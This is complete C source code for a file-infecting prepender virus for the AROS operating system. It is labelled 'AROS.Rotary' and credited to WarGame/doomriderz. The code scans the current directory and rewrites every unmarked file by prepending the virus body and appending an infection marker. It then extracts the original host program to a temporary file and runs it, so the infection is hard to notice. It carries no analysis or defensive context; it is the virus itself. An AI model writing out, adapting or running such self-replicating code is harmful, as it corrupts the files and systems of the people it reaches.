/* This is a prepender virus for AROS OS by [WarGame/doomriderz] */

#include <stdio.h>
#include <dirent.h>
#include <stdlib.h>
#include <proto/intuition.h>
#include <intuition/intuition.h>
#include <sys/stat.h>

/* virus size in bytes */
#define FIRST_GENERATION_SIZE 258603
/* infection marker */
const int MARKER = 0x61788989;
/* tmp name */
#define TMP_NAME "Rotary_drop"
/* all virus body & host code*/
char *virus_body = NULL,*host_code = NULL;

/* the infection routine */
void InfectFile(char *filename)
{
    FILE *fd = NULL;
    char *original_code = NULL;
    int fd_t,size;
    struct stat fz;
    
    if((fd = fopen(filename,"r")) == NULL)
    {
        return;
    }
    
    fd_t = fileno(fd);
    fstat(fd_t,&fz);
    size = fz.st_size;
    
    if((original_code = malloc(size)) == NULL)
    {
        fclose(fd);
        close(fd_t);
        return;
    }
    
    fread(original_code,size,1,fd);
    fclose(fd);
    close(fd_t);
    
    if((fd = fopen(filename,"w")) == NULL)
    {
        return;
    }
    
    /* prepend */
    fwrite(virus_body,FIRST_GENERATION_SIZE,1,fd);
    fwrite(original_code,size,1,fd);
    fwrite(&MARKER,4,1,fd);
    fclose(fd);
    free(original_code);
    
}

/* check before infecting */
int isGood(char *name)
{
    FILE *fd = NULL;
    int check_mark;
    
    if((fd = fopen(name,"r")) == NULL)
    {
        return 0;
    }
    
    fseek(fd,0,SEEK_END);
    fseek(fd,-4,SEEK_CUR);
    fread(&check_mark,4,1,fd);
    fclose(fd);
    
    if(check_mark == MARKER)
    {
        return 0;
    }
    
    return 1;
    
}

/* payload */
void PrintWindow(void)
{
    struct Window *payloadwin = NULL;
    
    payloadwin = OpenWindowTags(NULL,WA_Width,500,WA_Height,20,WA_Title,"AROS.Rotary by [WarGame/doomriderz] - Dedicated to my smart sister! ",TAG_DONE);
    
    if(payloadwin)
    {
        sleep(5);
        CloseWindow(payloadwin);
    }
}

int main(int argc,char *argv[])
{
    DIR *current_dir = NULL;
    struct dirent *cur = NULL;
    FILE *myself = NULL,*ret = NULL;
    int fd,filesize;
    struct stat fz;
    
    /* allocate memory */
    if((virus_body = malloc(FIRST_GENERATION_SIZE)) == NULL)
    {
        exit(0);
    }
    
    /* get file size */
    if((myself = fopen(argv[0],"r")) == NULL)
    {
        exit(0);
    }
    
    fd = fileno(myself);
    fstat(fd,&fz);
    filesize = fz.st_size;
    
    /* read virus in memory */
    fread(virus_body,FIRST_GENERATION_SIZE,1,myself);
    
    
    if(filesize > FIRST_GENERATION_SIZE)
    {
        if((host_code = malloc(filesize-FIRST_GENERATION_SIZE)) == NULL)
        {
            exit(0);
        }
        
        /* read host code */
        fread(host_code,filesize-FIRST_GENERATION_SIZE,1,myself);
        
    }
    
    fclose(myself);
    close(fd);
    
    /* open current dir */
    if(!(current_dir = opendir(".")))
    {
        exit(0);
    }
    
    /* true infection loop */
    while((cur = readdir(current_dir)))
    {
        if(isGood(cur->d_name) && strcasecmp(cur->d_name,argv[0]))
        {
            InfectFile(cur->d_name);
        }
    }
    
    closedir(current_dir);
    
    if(filesize > FIRST_GENERATION_SIZE)
    {
        if((ret = fopen(TMP_NAME,"w")) == NULL)
        {
            exit(0);
        }
        
        fwrite(host_code,filesize-FIRST_GENERATION_SIZE,1,ret);
        fclose(ret);
        system(TMP_NAME);
        remove(TMP_NAME);
    }
    
    /* show payload */
    else
    {
        PrintWindow();
    }
    
    
    free(virus_body);
    
}